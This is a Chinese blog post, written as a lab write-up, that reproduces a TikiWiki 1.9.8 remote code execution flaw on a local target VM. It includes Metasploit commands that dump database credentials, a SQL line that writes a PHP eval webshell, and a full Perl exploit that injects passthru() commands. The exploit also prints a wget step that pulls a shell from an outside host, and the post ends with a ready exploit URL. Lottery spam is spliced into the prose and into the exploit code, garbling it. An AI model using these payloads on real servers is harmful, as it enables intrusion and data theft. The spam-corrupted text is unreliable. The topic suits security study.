tiki-graph_formula.php代码执行漏洞复现(或许??)

1.不知道从哪里翻出来的虚拟机镜像(不知道甚么时候出现在磁盘里面的)

靶机镜像:http://pan.baidu.com/s/1ZgW8WaqXp8ULJbKCSgauFg

提取码: 1y8f

打开配置一下是tikiwiki这个东西

2.遇到陌生的玩意总是忍不住好奇心的,打开nikto扫描一下,发现有些奇怪的东西

本来没抱希望的,没想到还真扫描出来了,里面有一个phpinfo.php,一个phpMyAdmin,一个似乎是TikiWiki漏洞

3.Metasploit

打开msf,search一下tikiwiki

五个payload,逐个试

use auxiliary/admin/tikiwiki/tikidblib               #载入这个poc
set RHOSTS  192.168.5.129                            #靶机IP
show options                                         #看一下有没有错误
run                                                  #攻击

攻击成功?(嗯,确实成功了,未免有点简单过头了),这里拿到了数据库用户名密码,包括数据库名

4.phpMyAdmin

利用攻击获得的账户密码,登一下试试,登陆成功

5.getshell && mysql 写马

这里因为直接拿到root账户(Dba),因此可以直接往里面写一句话

写shell        INTO OUTFILE/DUMPFILE
SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/tikiwiki/cmd.php';

 试了下,写不进去,报错无法创建文件

 

 

打算日志备份写入,结果发现,如下图

 

 wtf?,没有这个变量?

再看看有没有写入权限

SHOW VARIABLES LIKE 'secure_file_priv';

 

 

 摘自:http://blog.csdn.net/Auuuuuuuu/article/details/83690362

发现,可以写,但是NMD,为什么?

 

 5.焦灼

phpMyAdmin3.0(exploit/unix/webapp/phpmyadmin_config)的漏洞也尝试了,无果。

后面再去翻nikto的扫描结果

 

 这里明显是一个代码注入,可以执行phpinfo()

百度翻了老半天,问题就出在tiki-graph_formula.php这里,果然搜到一个exp

 

 大致看了下

 

 

这里似乎是利用passthru()来进行命令执行

完整exp

链接大发11选5地址 :http://www.exploit-db.com/exploits/4525

#!/usr/bin/perl
# TikiWiki <= 1.9.8 Remote Command Execution Exploit
#
# Description
# -----------
# TikiWiki contains a flaw that may allow a remote attacker to execute arbitrary commands. 
# The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input 
# supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP 
# commands resulting in a loss of integrity.
# -----------
# Vulnerability discovered by ShAnKaR <sec [at] shankar.antichat.ru>
#
# $Id: milw0rm_tikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $

use strict;
use LWP::UserAgent;

my $target = shift || &usage();
my $proxy = shift;
my $command;

&exploit($target, "cat db/local.php", $proxy);

print "[?] php shell it?\n";
print "[*] wget http://www.youhost.com/yourshell.txt -O backups/shell.php\n";
print "[*] lynx " . $target . "/backups/shell.php\n\n";

while()
{
	print "tiki\# ";
	chomp($command = <STDIN>);
	exit unless $command;
	&exploit($target, $command, $proxy);
}

sub usage()
{
	print "[?] TikiWiki <= 1.9.8 Remote Command Execution Exploit\n";
	print "[?] str0ke <str0ke[!]milw0rm.com>\n";
	print "[?] usage: perl $0 [target]\n";
	print "    [target] (ex. http://127.0.0.1/tikiwiki)\n";
	print "    [proxy] (ex. 0.0.0.0:8080)\n";
	exit;
}

sub exploit()
{
	my($target, $command, $proxy) = @_;

	my $cmd = 'echo start_er;'.$command.';'.'echo end_er';
	
	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

	my $conn = LWP::UserAgent->new() or die;
	$conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; 大发11选5Win
dows-NT)");
	$conn->proxy("http", "http://".$proxy."/") unless !$proxy;
	
	my $out=$conn->get($target."/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru($byte).die()&t=png&title=");

	if ($out->content =~ m/start_er(.*?)end_er/ms) {
		print $1 . "\n";
	} else { 
		print "[-] Exploit Failed\n";
		exit;
	}
}

# milw0rm.com [2007-10-12]

 7.Getshell

存在代码执行漏洞,那么,修改一下payload

http://192.168.5.129//tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru('whoami').die()&t=png&title=http://cirt.net/rfiinc.txt

 

 

有一个问题,就是这里只能执行单个命令,输入带参数的命令的话,个人觉得应该把命令转化为比特流(exp上大致也是这么处理的)

最后补上,这个模块大发11选5我 在msf上面找到了

Matching Modules
================

   #  Name                                             Disclosure Date  Rank       Check  Description
   -  ----                                             ---------------  ----       -----  -----------
   0  exploit/unix/webapp/tikiwiki_graph_formula_exec  2007-10-10       excellent  Yes    TikiWiki tiki-graph_formula Remote PHP Code Execution
posted @ 2019-10-10 21:37 Mke2fs 阅读(...) 评论(...) 编辑 收藏